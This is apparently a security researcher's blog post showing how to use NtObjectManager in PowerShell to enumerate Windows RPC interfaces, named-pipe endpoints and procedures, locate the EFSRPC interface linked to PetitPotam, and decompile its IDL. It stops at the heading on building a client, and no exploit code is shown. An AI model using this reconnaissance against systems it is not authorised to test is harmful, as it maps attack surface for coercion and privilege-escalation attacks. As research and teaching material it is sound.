Post

From NtObjectManager to PetitPotam

TL;DR - Windows RPC enumeration, discovery, and auditing via NtObjectManager. We will audit the vulnerable RPC interfaces that lead to PetitPotam, discover how they have changed over the past year, and overcome some common RPC auditing pitfalls.

I was inspired by From RpcView to PetitPotam from @itm4n, an excellent post that taught me how to use RpcView to discover the RPC interfaces and in particular the one that enabled PetitPotam by @topotam77. In the post, itm4n progresses from RPC interface discovery to teaching us how to build a RPC client to flex the vulnerable interface. This post is a spinoff of that same topic, this time leveraging James Forshaw’s (@tiraniddo) NtObjectManager. It was also a perfect opportunity to learn how to use NtObjectManager for RPC research and auditing using a well known example.

Itm4n walks through complex topics for Windows RPC with seeming ease. Covering the high level aspects and offering clarity for nuanced RPC concepts such as binding handles with clear pictures. A topic in which MSDN quickly lost me. More to the point of this post, he explains how to leverage RpcView to:

  • discover interesting interfaces, procedures, and endpoints
  • decomplile a RPC EFS interface related to PetitPotam
  • help build a RPC client in Visual Studio to exercise the EFS interface

At the end of the post, Itm4n alludes to other ways of doing what he did and even references the toolset I’m about to walk through.

Finally, implementing an RPC client in C/C++ isn’t necessarily the best approach if you are doing some security oriented research as this process is rather time-consuming. However, I would still recommend it because it is a good way to learn and have a better understanding of some Windows internals. As an alternative, a more research oriented approach would consist in using the NtObjectManager module developed by James Forshaw. This module is quite powerful as it allows you to interact with an RPC server in a few lines of PowerShell. As usual, James wrote an excellent article about it here: Calling Local Windows RPC Servers from .NET. From RpcView to PetitPotam

Now we are going to try and walk through the alternative approach using NtObjectManager. Perhaps, by the end we can discover together some pros and cons of each toolset.

NtObjectManager and RPC

The NtObjectManager PowerShell module (backed by its supporting .NET managed library NtApiDotNet) is a godsend for Windows security researchers. From dealing with symbolic links, auditing RPC servers, playing tricks with the Object Manager, to just messing about with Windows, it has a myriad of applications. As one trying to improve their own auditing skills and understanding Windows internals, I am grateful for it. Right now I’ll admit that I am just touching the surface of the capability of the toolset. There are some advanced use cases that I have yet to get my head around. This post will be a step in the right direction. Before we jump into how to use NtObjectManager for RPC auditing, let’s take a short walk through the history of the RPC capabilities within NtApiDotNet.

Forshaw put together NtObjectManager and his sandbox attack surface analysis tool kit for expediting his own research and the benefit of others. He is known to develop tools where he can’t find any other solutions in support of his security research.

As much as I enjoy finding security vulnerabilities in Windows, in many ways I prefer the challenge of writing the tools to make it easier for me and others to do the hunting. Calling Local Windows RPC Servers from .NET

The RPC capabilities within NtApiDotNet have been there for sometime with their formal introduction being the “Reimplementing Local RPC in .NET” talk. Here I am in 2022, finally getting around to playing with the toolset.

RPC History

Essentially this is a list of RPC references for NtObjectManager.

cat README.txt | grep -i -e "rpc" -e "ndr"

  • v1.1.12
    • Added basic NDR parser.
  • v1.1.16
    • Added support for extracting RPC servers from a DLL.
    • Added support for enumerating registered RPC endpoints with Get-RpcEndpoint.
    • Added support for enumerating running service information with Get-RunningService.
  • v1.1.17
    • Added option to parse out RPC clients in Get-RpcServer
    • Added Get-RpcAlpcServer cmdlet
  • v1.1.21
    • Added basic RPC ALPC client support
  • v1.1.23
    • Added Compare-RpcServer.
    • Added option to Format-RpcClient to output to a directory.
    • Added Select-RpcServer cmdlet.
    • Added RPC ALPC port brute force.
  • v1.1.28
    • Added C# compiler support for .NET Core Support of Get-RpcClient.
  • v1.1.30
    • Added basic named pipe support for RPC clients.
  • v1.1.31
    • Added TCP/IP RPC transport and add signing/encryption.
    • Added Disconnect-RpcClient.
    • Added server information for local RPC connection
  • v1.1.33
    • Added RPC pipe support.

Doing a bit more digging, it seems RPC functionality appeared within NtApiDotNet in 2018. The first evidence I can see of an NDR parser in NtApiDotNet from release tag v1.1.12. By July 2018, the ability to parse RPC servers was there and in November of 2018, NtObjectManager Forshaw put out a post demonstrating the ability to parse RPC servers and clients. At this point, NtApiDotNet was yet to have a RPC client generator, which seemed to arrive mid 2019 in NtObjectManger v1.1.21 . The RPC C# client generator, as we will use later instead of a Visual Studio C++ and MIDL compiler, can greatly reduce the time needed to create an RPC client. In 2019, Forshaw posted a tutorial that walks us through the primary use cases for NtObjectManger in survey of the RPC landscape. That article will also be our starting point using NtObjectManager to rediscover PetitPotam a bit later.

Implementation

The implementation I developed is all available in the Sandbox Analysis Tools Github repository. The implementation contains classes to load DLLs/EXEs and extract RPC server information to a .NET object. It also contains classes to marshal data using the Network Data Representation (NDR) protocol as well as the Local RPC client code. Finally I implemented a client generator which takes in the parsed RPC server information and generates a C# source code file. Calling Local Windows RPC Servers from .NET

The primary capabilities of the toolset are ideal for diving into RPC. The high level features I have seen are:

NtObjectManager for RPC Auditing

Last time in A Survey of Windows RPC Discovery Tools, we obtained a detailed understanding of how some of these RPC enumeration tools work under the hood. This post will be more practical. In this section we recreate the RPC auditing from RPCView to Petitpotam by leveraging Forshaw’s NtObjectManager.

Before we get going, make sure you setup your DbgHelp DLL path before we get started.

PS C:\Users\user> Set-GlobalSymbolResolver -DbgHelpPath 'C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbghelp.dll' 

Use NtObjectManager to Discover interesting Interfaces, Endpoints, Procedures

As mentioned above and detailed by itm4n, RpcView provides a nice GUI and a workflow which you can pivot from a running process to the RPC interfaces and endpoints found within that process. I detailed in which contexts I might use each tool, but after writing this post I feel like NtObjectManager is the front runner for general RPC auditing.

rpcview-gui.pngRpcView GUI

By the time you see the GUI, and again on a set interval, RpcView automatically discovers the running processes that contain RPC servers. As we have learned, NtObjectManager in contrast, does not have a GUI and also does not analyze processes at runtime. Rather, the first step to RPC server discovery is to feed a list of files to be parsed by Get-RpcServer in NtObjectManager. Each file path piped into Get-RpcServer will be loaded in memory, parsed and have each image section checked for the aforementioned RPC data structures.

1
2
3
4
# Find all servers in SYSTEM32. 
PS C:\Users\user> $allrpc = ls "C:\Windows\system32\*" -Include "*.dll","*.exe" `
  | Get-RpcServer

It will take about a minute or so to chug through all the binaries in System32

1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\Users\user> Measure-Command {$allrpc = ls "C:\Windows\system32\*" -Include "*.dll","*.exe" | Get-RpcServer }

Days              : 0
Hours             : 0
Minutes           : 0
Seconds           : 59
Milliseconds      : 262
Ticks             : 592628678
TotalDays         : 0.000685912821759259
TotalHours        : 0.0164619077222222
TotalMinutes      : 0.987714463333333
TotalSeconds      : 59.2628678
TotalMilliseconds : 59262.8678

NtObjectManager in actionNtObjectManager in action

NtObjectManager found 456 RPC Servers (or interfaces) on my Windows 11 machine:

1
2
3
4
5
PS C:\Users\user> $allrpc | Measure-Object -Line

Lines Words Characters Property
----- ----- ---------- --------
  456

The result of parsing all the interfaces from the RPC servers from the binaries (and there often multiple interfaces within one binary) will look something like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
PS C:\Users\user> $allrpc  | more

Name                                                         UUID                                 Ver Procs EPs Service                   Running
----                                                         ----                                 --- ----- --- -------                   -------
ACPBackgroundManagerPolicy.dll                               fc48cd89-98d6-4628-9839-86f7a3e4161a 1.0 9     10                            False
adhsvc.dll                                                   c49a5a70-8a7f-4e70-ba16-1e8f1f193ef1 1.0 7     4                             False
AggregatorHost.exe                                           7df1ceae-de4e-4e6f-ab14-49636e7c2052 1.0 2     1                             False
APHostService.dll                                            d2716e94-25cb-4820-bc15-537866578562 1.0 8     1   OneSyncSvc                False
appidsvc.dll                                                 8a7b5006-cc13-11db-9705-005056c00008 1.0 4     0   AppIDSvc                  False
appinfo.dll                                                  0497b57d-2e66-424f-a0c6-157cd5d41700 1.0 9     1   Appinfo                   True
appinfo.dll                                                  58e604e8-9adb-4d2e-a464-3b0683fb1480 1.0 1     1   Appinfo                   True
appinfo.dll                                                  fd7a0523-dc70-43dd-9b2e-9c5ed48225b1 1.0 1     1   Appinfo                   True
appinfo.dll                                                  5f54ce7d-5b79-4175-8584-cb65313a0e98 1.0 1     1   Appinfo                   True
appinfo.dll                                                  201ef99a-7fa0-444c-9399-19ba84f12a1a 1.0 7     1   Appinfo                   True
appinfo.dll                                                  0f738e20-73c0-4ca8-aa6a-8dfef545fea8 1.0 1     1   Appinfo                   True
appmgmts.dll                                                 8c7daf44-b6dc-11d1-9a4c-0020af6e7c57 1.0 9     0   AppMgmt                   False
AppVEntSubsystemController.dll                               8c7fbdb0-8513-44f9-a8b1-1a3b49322bf4 1.0 1     0                             False
AppVEntSubsystemController.dll                               4b183cf6-affd-4872-9da2-7564b683d027 1.0 6     0                             False
AppVEntSubsystemController.dll                               71d6addc-3548-4d49-8580-589694df3c9d 1.0 2     0                             False
AppVEntSubsystemController.dll                               8d17061c-534a-4f1b-bd77-f615421cf379 1.0 4     0                             False
AppVEntSubsystemController.dll                               6d809348-7e6c-41b9-91bc-630fe5503d66 1.0 1     0                             False
AppVEntSubsystemController.dll                               44e10347-37a0-494c-871c-fb90f7145742 1.0 10    0                             False
AppVEntSubsystemController.dll                               edce686d-acae-4a2a-8945-24489443c35e 1.0 1     0                             False
AppVEntSubsystemController.dll                               af1e812f-2d47-4c99-9b36-15984de66d89 1.0 2     0                             False
AppVEntSubsystemController.dll                               461e6f82-89d8-4b7b-95ca-2e5c965953fc 1.0 22    0                             False
AppVEntSubsystemController.dll                               66055171-882c-4625-8fd7-cc7c30e2b226 1.0 1     0                             False
AppVEntSubsystems64.dll                                      8a92a787-eba6-4d09-ba84-0a8cb293bc30 1.0 1     0                             False
AppVShNotify.exe                                             a80a054e-95a5-46b2-9b3b-afdb29f247fb 1.0 1     0                             False
AppVShNotify.exe                                             7f89f606-468e-4ee4-b1f3-73b68767b0e1 1.0 1     0                             False
AppVShNotify.exe                                             6bbd4016-73b6-4fac-81c4-f2256dcee12d 1.0 1     0                             False
AppXDeploymentServer.dll                                     ae2dc901-312d-41df-8b79-e835e63db874 1.0 79    1   AppXSvc                   True
AppXDeploymentServer.dll                                     ff9fd3c4-742e-45e0-91dd-2f5bc632a1df 1.0 3     1   AppXSvc                   True
audiodg.exe                                                  bc6d982b-e799-48b2-a732-4ac111923bc6 1.0 8     0                             False
audiosrv.dll                                                 99b833a0-e768-4a17-b117-0e32fa4b6bb9 2.8 169   0   Audiosrv                  True
audiosrv.dll                                                 c7ce3826-891f-4376-b161-c63d2403142c 1.0 1     0   Audiosrv                  True
audiosrv.dll                                                 cba4c918-e55a-46ee-aa62-cade158e9165 1.0 1     0   Audiosrv                  True
audiosrv.dll                                                 910562c3-ebd9-46b9-baba-1d45842a0ceb 1.0 12    0   Audiosrv                  True
audiosrv.dll                                                 2b29a846-9ad7-49b6-bc52-b019c5c0c56f 1.6 55    0   Audiosrv                  True
authz.dll                                                    0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7 0.0 7     0                             False
bdesvc.dll                                                   ae55c4c0-64ce-11dd-ad8b-0800200c9a66 1.0 13    1   BDESVC                    True
BFE.DLL                                                      dd490425-5325-4565-b774-7e27d6c09c24 1.0 194   1   BFE                       True

# several lines ommited

$allrpc now contains a collection of NtApiDotNet.Win32.RpcServer objects that may or may not also include clients.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PS C:\Users\user> $rpc[0] | Get-Member


   TypeName: NtApiDotNet.Win32.RpcServer

Name                   MemberType Definition
----                   ---------- ----------
Equals                 Method     bool Equals(System.Object obj)
FormatAsText           Method     string FormatAsText(), string FormatAsText(bool remove_comments), string FormatAsText(bool remove_comments, bool cpp_format)
GetHashCode            Method     int GetHashCode()
GetType                Method     type GetType()
ResolveRunningEndpoint Method     string ResolveRunningEndpoint()
Serialize              Method     void Serialize(System.IO.Stream stm), byte[] Serialize()
ToString               Method     string ToString()
Client                 Property   bool Client {get;}
ComplexTypes           Property   System.Collections.Generic.IEnumerable[NtApiDotNet.Ndr.NdrComplexTypeReference] ComplexTypes {get;}

Interfaces

If you know the specific interface that you are looking for, it is quite easy to find using NtObjectManager. For PetitPotam the EFSRPC interface was c681d488-d850-11d0-8c52-00c04fd90f7e. To discover that the following command would work.

1
2
3
4
5
PS C:\Users\user> $allrpc | Select-RpcServer -InterfaceId 'c681d488-d850-11d0-8c52-00c04fd90f7e'

Name          UUID                                 Ver Procs EPs Service Running
----          ----                                 --- ----- --- ------- -------
efslsaext.dll c681d488-d850-11d0-8c52-00c04fd90f7e 1.0 21    0           False

For detailed information:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PS C:\Users\user> $allrpc | Select-RpcServer -InterfaceId 'c681d488-d850-11d0-8c52-00c04fd90f7e' | fl


InterfaceId           : c681d488-d850-11d0-8c52-00c04fd90f7e
InterfaceVersion      : 1.0
TransferSyntaxId      : 8a885d04-1ceb-11c9-9fe8-08002b104860
TransferSyntaxVersion : 2.0
ProcedureCount        : 21
Procedures            : {EfsRpcOpenFileRaw_Downlevel, EfsRpcReadFileRaw_Downlevel, EfsRpcWriteFileRaw_Downlevel, EfsRpcCloseRaw_Downlevel...}
Server                : UUID: c681d488-d850-11d0-8c52-00c04fd90f7e
ComplexTypes          : {Struct_0, Struct_1, Struct_2, Struct_3...}
FilePath              : C:\Windows\system32\efslsaext.dll
Name                  : efslsaext.dll
Offset                : 71808
ServiceName           :
ServiceDisplayName    :
IsServiceRunning      : False
Endpoints             : {}
EndpointCount         : 0
Client                : False

To discover other interesting interfaces, like the MS-PAR protocol “nightmare” interface (76F03F96-CDFD-44FC-A22C-64950A001209), try this command (using a slight variation Where-Object showing that the RpcServer objects play nice with standard PS commands):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PS C:\Users\user> $allrpc | Where-Object InterfaceId -eq '76F03F96-CDFD-44FC-A22C-64950A001209' | fl


InterfaceId           : 76f03f96-cdfd-44fc-a22c-64950a001209
InterfaceVersion      : 1.0
TransferSyntaxId      : 8a885d04-1ceb-11c9-9fe8-08002b104860
TransferSyntaxVersion : 2.0
ProcedureCount        : 81
Procedures            : {RpcAsyncOpenPrinter, RpcAsyncAddPrinter, RpcAsyncSetJob, RpcAsyncGetJob...}
Server                : UUID: 76f03f96-cdfd-44fc-a22c-64950a001209
ComplexTypes          : {Struct_0, Struct_1, Union_2, Struct_3...}
FilePath              : C:\Windows\system32\spoolsv.exe
Name                  : spoolsv.exe
Offset                : 538032
ServiceName           : Spooler
ServiceDisplayName    : Print Spooler
IsServiceRunning      : True
Endpoints             : {[76f03f96-cdfd-44fc-a22c-64950a001209, 1.0] ncacn_ip_tcp:[49669], [76f03f96-cdfd-44fc-a22c-64950a001209, 1.0] ncalrpc:[LRPC-6406b1545800cf205a]}
EndpointCount         : 2
Client                : False

Endpoints

For endpoints searching, you might know a well-known endpoint or perhaps a specific protocol sequence for your RPC server, and you can query to see which RPC server has that endpoint.

Query your parsed servers that contain endpoints for named pipe endpoints:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PS C:\Users\user> $allrpc | ? { $_.Endpoints } | ForEach-Object {$_.Endpoints} | Select-String ncacn_np

[df1941c5-fe89-4e79-bf10-463657acf44d, 1.0] ncacn_np:[\\pipe\\efsrpc]
[04eeb297-cbf4-466b-8a2a-bfd6a2f10bba, 1.0] ncacn_np:[\\pipe\\efsrpc]
[51a227ae-825b-41f2-b4a9-1ac9557a1018, 1.0] ncacn_np:[\\pipe\\lsass]
[8fb74744-b2ff-4c00-be0d-9ef9a191fe1b, 1.0] ncacn_np:[\\pipe\\lsass]
[b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, 2.0] ncacn_np:[\\pipe\\lsass]
[650a7e26-eab8-5533-ce43-9c1dfce11511, 1.0] ncacn_np:[\\PIPE\\ROUTER]
[12345778-1234-abcd-ef00-0123456789ac, 1.0] ncacn_np:[\\pipe\\lsass]
[3a9ef155-691d-4449-8d05-09ad57031823, 1.0] ncacn_np:[\\PIPE\\atsvc]
[86d35949-83c9-4044-b424-db363231fd0c, 1.0] ncacn_np:[\\PIPE\\atsvc]
[29770a8f-829b-4158-90a2-78cd488501f7, 1.0] ncacn_np:[\\pipe\\SessEnvPublicRpc]
[1ff70682-0a51-30e8-076d-740be8cee98b, 1.0] ncacn_np:[\\PIPE\\atsvc]
[378e52b0-c0a9-11cf-822d-00aa0051e40f, 1.0] ncacn_np:[\\PIPE\\atsvc]
[f6beaff7-1e19-4fbb-9f8f-b89e2018337c, 1.0] ncacn_np:[\\pipe\\eventlog]
[d95afe70-a6d5-4259-822e-2c84da1ddb0d, 1.0] ncacn_np:[\\PIPE\\InitShutdown]
[76f226c3-ec14-4325-8a99-6a46348418af, 1.0] ncacn_np:[\\PIPE\\InitShutdown]
[76f226c3-ec14-4325-8a99-6a46348418af, 1.0] ncacn_np:[\\PIPE\\InitShutdown]
[7f1343fe-50a9-4927-a778-0c5859517bac, 1.0] ncacn_np:[\\PIPE\\wkssvc]
[33d84484-3626-47ee-8c6f-e7e98b113be1, 2.0] ncacn_np:[\\PIPE\\atsvc]

You don’t have to rely on the RPC servers you have already parsed to get a list of endpoints. The RPC Endpoint Mapper is running. Use the following command to query it.

1
2
3
4
5
6
7
8
PS C:\Users\user> get-help  Get-RpcEndpoint -examples

NAME
    Get-RpcEndpoint

SYNOPSIS
    Gets the endpoints for a RPC interface from the local endpoint mapper or by brute force.

These are the endpoints reported by the endpoint mapper on my Windows 11 machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PS C:\Users\user> Get-RpcEndpoint   | Select-String ncacn_np

[650a7e26-eab8-5533-ce43-9c1dfce11511, 1.0] ncacn_np:[\\PIPE\\ROUTER]
[2f5f6521-cb55-1059-b446-00df0bce31db, 1.0] ncacn_np:[\\pipe\\tapsrv]
[29770a8f-829b-4158-90a2-78cd488501f7, 1.0] ncacn_np:[\\pipe\\SessEnvPublicRpc]
[7f1343fe-50a9-4927-a778-0c5859517bac, 1.0] ncacn_np:[\\PIPE\\wkssvc]
[f6beaff7-1e19-4fbb-9f8f-b89e2018337c, 1.0] ncacn_np:[\\pipe\\eventlog]
[1ff70682-0a51-30e8-076d-740be8cee98b, 1.0] ncacn_np:[\\PIPE\\atsvc]
[378e52b0-c0a9-11cf-822d-00aa0051e40f, 1.0] ncacn_np:[\\PIPE\\atsvc]
[33d84484-3626-47ee-8c6f-e7e98b113be1, 2.0] ncacn_np:[\\PIPE\\atsvc]
[86d35949-83c9-4044-b424-db363231fd0c, 1.0] ncacn_np:[\\PIPE\\atsvc]
[3a9ef155-691d-4449-8d05-09ad57031823, 1.0] ncacn_np:[\\PIPE\\atsvc]
[76f226c3-ec14-4325-8a99-6a46348418af, 1.0] ncacn_np:[\\PIPE\\InitShutdown]
[d95afe70-a6d5-4259-822e-2c84da1ddb0d, 1.0] ncacn_np:[\\PIPE\\InitShutdown]
[12345778-1234-abcd-ef00-0123456789ac, 1.0] ncacn_np:[\\pipe\\lsass]
[b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, 2.0] ncacn_np:[\\pipe\\lsass]
[8fb74744-b2ff-4c00-be0d-9ef9a191fe1b, 1.0] ncacn_np:[\\pipe\\lsass]
[51a227ae-825b-41f2-b4a9-1ac9557a1018, 1.0] ncacn_np:[\\pipe\\lsass]

Fewer endpoints reported in the dynamic query because NtObjectManager will find the RPC servers whether or not they are running or advertised in the mapper.

Procedures

Sometimes when we are looking for interesting procedures, an interesting keyword is all that we need. Perhaps the term “connect” or “set” or even “file” can be enough to discover interesting procedures. Itm4n qualifies an interesting procedure in the article as one with the word “file” in the procedure name.

File operations initiated by low-privileged users and performed by privileged processes (such as services running as SYSTEM) are always interesting to investigate because they might lead to local privilege escalation (or even remote code execution in some cases). On top of that, they are relatively easy to find and visualize, using Process Monitor for instance. From RpcView to PetitPotam

For RpcView, the discovery of procedure names is a tedious, even if you know what you are looking for. You have to click each interface to see the list of procedures.

When clicking on the LSASS process (1), we can see that it contains many RPC interfaces. So we go through them one by one and we stop on the one with the GUID c681d488-d850-11d0-8c52-00c04fd90f7e (2) because it exposes several procedures that seem to perform file operations (according to their name) (3). From RpcView to PetitPotam

It can filter, just not by procedure name.

rpcview-filterRpcView Filters

Here is where NtObjectManager shines. If you want to find interesting procedure names you can use the provided cmdlet Select-RpcServer.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
PS C:\Users\user> Get-Help Select-RpcServer -Examples

NAME
    Select-RpcServer

SYNOPSIS
    Selects RPC server objects based on some specific criteria.


    ----------  EXAMPLE 1  ----------

    $rpc | Select-RpcServer -Name "Start"

    Select all servers which have a procedure containing the text Start.
    ----------  EXAMPLE 2  ----------

    $rpc | Select-RpcServer -SystemHandle

    Select all servers which have a procedure which take a system handle parameter.
    ----------  EXAMPLE 3  ----------

    $rpc | Select-RpcServer -SystemHandle -SystemHandleType File

    Select all servers which have a procedure which take a system handle parameter of type File.

To find RPC servers with procedure names that include the keyword ‘file’:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
PS C:\Users\user> $allrpc | Select-RpcServer -Name 'file'

Name                                                         UUID                                 Ver Procs EPs Service                Running
----                                                         ----                                 --- ----- --- -------                -------
AggregatorHost.exe                                           7df1ceae-de4e-4e6f-ab14-49636e7c2052 1.0 2     1                          False
appidsvc.dll                                                 8a7b5006-cc13-11db-9705-005056c00008 1.0 4     0   AppIDSvc               False
appinfo.dll                                                  0497b57d-2e66-424f-a0c6-157cd5d41700 1.0 9     1   Appinfo                True
AppVEntSubsystemController.dll                               af1e812f-2d47-4c99-9b36-15984de66d89 1.0 2     0                          False
audiosrv.dll                                                 2b29a846-9ad7-49b6-bc52-b019c5c0c56f 1.6 55    0   Audiosrv               True
BFE.DLL                                                      dd490425-5325-4565-b774-7e27d6c09c24 1.0 194   1   BFE                    True
CmService.dll                                                f1c37891-201f-4aa3-94b1-a5d131b04920 1.0 46    1   CmService              True
DispBroker.Desktop.dll                                       509bc7ae-77be-4ee8-b07c-0d096bb44345 1.0 10    2   DispBrokerDesktopSvc   True
dot3svc.dll                                                  1bddb2a6-c0c3-41be-8703-ddbdf4f0e80a 1.0 21    0   dot3svc                False
dssvc.dll                                                    bf4dc912-e52f-4904-8ebe-9317c1bdd497 1.0 8     2   DsSvc                  True
dusmsvc.dll                                                  c27f3c08-92ba-478c-b446-b419c4cef0e2 1.0 26    1   DusmSvc                True
edgehtml.dll                                                 9ccb59aa-1358-4169-aebb-ed83357d6304 1.0 173   0                          False
efslsaext.dll                                                c681d488-d850-11d0-8c52-00c04fd90f7e 1.0 21    0                          False
efssvc.dll                                                   df1941c5-fe89-4e79-bf10-463657acf44d 1.0 53    2   EFS                    False
efssvc.dll                                                   04eeb297-cbf4-466b-8a2a-bfd6a2f10bba 1.0 7     2   EFS                    False
FXSSVC.exe                                                   ea0a3165-4834-11d2-a6f8-00c04fa346cc 4.0 105   0   Fax                    False
lpasvc.dll                                                   4f4fa786-2f8f-49e8-8aae-6669febd5d1d 1.0 24    0   wlpasvc                False
lsasrv.dll                                                   12345778-1234-abcd-ef00-0123456789ab 0.0 134   0                          False
netprofmsvc.dll                                              bd6ca954-842e-468f-8b07-89cbfa9522dc 1.0 1     2   netprofm               True
pcasvc.dll                                                   0767a036-0d22-48aa-ba69-b619480f38cb 1.0 8     1   PcaSvc                 True
PimIndexMaintenance.dll                                      43890c94-bfd7-4655-ad6a-b4a68397cdcb 0.0 14    0   PimIndexMaintenanceSvc False
profsvc.dll                                                  326731e3-c1c0-4a69-ae20-7d9044a4ea5c 1.0 8     0   ProfSvc                True
rascustom.dll                                                650a7e26-eab8-5533-ce43-9c1dfce11511 1.0 40    4                          False
scesrv.dll                                                   93149ca2-973b-11d1-8c39-00c04fb984f9 0.0 34    0                          False
SessEnv.dll                                                  b12fd546-c875-4b41-97d8-950487662202 1.0 9     0   SessionEnv             True
spoolsv.exe                                                  12345678-1234-abcd-ef00-0123456789ab 1.0 125   2   Spooler                True

#several lines omitted...

After reviewing that output, you might select one of the interfaces and find out which specific procedure names match:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PS C:\Users\user> $allrpc | ? { $_.InterfaceId -eq 'c681d488-d850-11d0-8c52-00c04fd90f7e' } | ForEach-Object {$_.Procedures} |  Out-String -Stream | Select-String file

Name             : EfsRpcOpenFileRaw_Downlevel
Name             : EfsRpcReadFileRaw_Downlevel
Name             : EfsRpcWriteFileRaw_Downlevel
Name             : EfsRpcEncryptFileSrv_Downlevel
Name             : EfsRpcDecryptFileSrv_Downlevel
Name             : EfsRpcQueryUsersOnFile_Downlevel
Name             : EfsRpcRemoveUsersFromFile_Downlevel
Name             : EfsRpcAddUsersToFile_Downlevel
Name             : EfsRpcSetFileEncryptionKey_Downlevel
Name             : EfsRpcFileKeyInfo_Downlevel
Name             : EfsRpcDuplicateEncryptionInfoFile_Downlevel
Name             : EfsUsePinForEncryptedFiles_Downlevel
Name             : EfsRpcAddUsersToFileEx_Downlevel
Name             : EfsRpcFileKeyInfoEx_Downlevel
Name             : EfsRpcGetEncryptedFileMetadata_Downlevel
Name             : EfsRpcSetEncryptedFileMetadata_Downlevel

Bonus - Procedure Parameters

You can even see what types of RpcServers accept specific types of parameters for their procedures:

Tab complete to see the options for types:

1
2
PS C:\Users\user> $allrpc  | Select-RpcServer -SystemHandle -SystemHandleType
Composition  Event        File         Job          Mutex        Pipe         Process      RegKey       Section      Semaphore    Socket       Thread       Token

The query to find the interfaces that have procedures that accept the selected type:

1
2
3
4
5
6
7
8
9
PS C:\Users\user> $allrpc  | Select-RpcServer -SystemHandle -SystemHandleType File

Name             UUID                                 Ver Procs EPs Service             Running
----             ----                                 --- ----- --- -------             -------
CmService.dll    f1c37891-201f-4aa3-94b1-a5d131b04920 1.0 46    1   CmService           True
dnsrslvr.dll     45776b01-5956-4485-9f80-f428f7d60129 2.0 29    0   Dnscache            True
FrameServer.dll  6ddfc7d1-7fca-44eb-a279-e9988f4db32b 1.0 32    0   FrameServer         False
PhoneService.dll 8be456ec-9244-4d10-88e8-1ddf1baa9ade 1.0 70    0   PhoneSvc            False
winhttp.dll      3473dd4d-2e88-4006-9cba-22570909dd10 5.1 12    2   WinHttpAutoProxySvc True

OK. We can use NtObjectManager to enumerate and discover RPC servers. What else can we do?

Use NtObjectManager to decomplile an IDL File from the EFS RPC interface (used in PetitPotam)

From IDL to RPC binary

For those of you, like me, new to RPC and its concepts, RPC development (as I have read) usually begins with the creation of an interface definition file (IDL). This IDL file is input for the a MIDL compiler that generates the C/C++ client and server stubs necessary to support the RPC runtime and programming model of RPC.


flowchart LR;

a[sample.idl] --> b[MIDL Compiler];
b --> c["sample_s.c (server stub)"];
b --> d["sample_c.c (client stub)"];
b --> e[sample.h]

subgraph MIDL output
    c
    d
    e
end

The developer then needs to create their client and server code (client.c and server.c) and include the header generated by the MIDL compiler. From there, compile the client and server with the MIDL output, link the RPC runtime libraries, and build the RPC server and client binaries.


flowchart LR;

a["MIDL Output (.h + stubs)"] --> b[C/C++ Compiler];
b1[server.c] --> b;
b2[procs.c] --> b;
b --> d[Linker];
e[Rpcrt4.lib] --> d;
d --> f[RPCserver.exe];

From RPC server to IDL

In the last post we studied how to dig into those RPC server binaries to find RPC data structures that define interfaces and procedures. From this comes the idea that the original IDL file (that defines the interfaces and procedures) can be recreated (or decompiled) from those data structures.


flowchart LR;

f[RPCserver.exe] --> g[NDR Parser] --> h[IDL];

RpcView uses the data structures (RPC_SERVET_T RPC_INTERFACE_T, etc.) to build out its RpcDecompilerInfo_T used to decompile its IDL files. It isn’t perfect.

When dealing with IDL files generated by RpcView, this kind of error should be expected as the “decompilation” process is not supposed to produce an 100% usable result, straight out of the box. With time and practice though, you can quickly spot these issues and fix them. from-rpcview-to-petitpotam

NtObjectManager doesn’t claim to be perfect either.

Even if the decompiler was perfect (and RpcView or my own in my NtObjectManager PowerShell module are definitely not) the original IDL to NDR compilation process is lossy. Reversing this process with a decompiler doesn’t always produce a 100% correct IDL file and thus the regenerated NDR might not be 100% compatible. Finding Windows RPC Client Implementations Through Brute Force

It does however claim to support a few more of the complex procedure parameters.

However, it’s [RpcView] all written in C/C++ so couldn’t be easily used in a .NET application and the IDL generation is incomplete (such as missing support for system handles and some structure types) and not ideal for our purposes as parsing a text format would be more complicated. Calling Local Windows RPC Servers from .NET

You can build your own IDL with Format-RpcServer.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PS C:\Users\user> $efsrpc | Format-RpcServer
// DllOffset: 0x11880
// DllPath C:\Windows\system32\efslsaext.dll
// Complex Types:
/* Memory Size: 16 */
struct Struct_0 {
    /* Offset: 0 */ int Member0;
    /* Offset: 8 */ /* C:(FC_POINTER_CONFORMANCE)(0)(FC_ZERO)(FC_ULONG)(Early, Range) */ /* unique */struct Struct_1*[] Member8;
};

/* Memory Size: 32 */
struct Struct_1 {
    /* Offset: 0 */ int Member0;
    /* Offset: 8 */ /* unique */struct Struct_2* Member8;
    /* Offset: 16 */ /* unique */struct Struct_4* Member10;
    /* Offset: 24 */ /* unique */wchar_t* Member18;
};

/* Memory Size: 8 */
struct Struct_2 {
    /* Offset: 0 */ sbyte Member0;
    /* Offset: 1 */ sbyte Member1;
    /* Offset: 2 */ struct Struct_3 Member2;
    /* Offset: 8 */ /* C:(FC_NORMAL_CONFORMANCE)(-7)(FC_ZERO)(FC_USMALL)(Early) */ int[] Member8;
};

#several lines omitted

I tried compiling it (with the MIDL compiler), but it gave me the same errors that RpcView’s decompiled IDL. The thing about NtObjectManager, although it has the ability to generate IDL files, but it isn’t really necessary when using the tool. The reason being it can generate C# RPC clients on the fly!

Build a RPC client to flex the EFS RPC interface

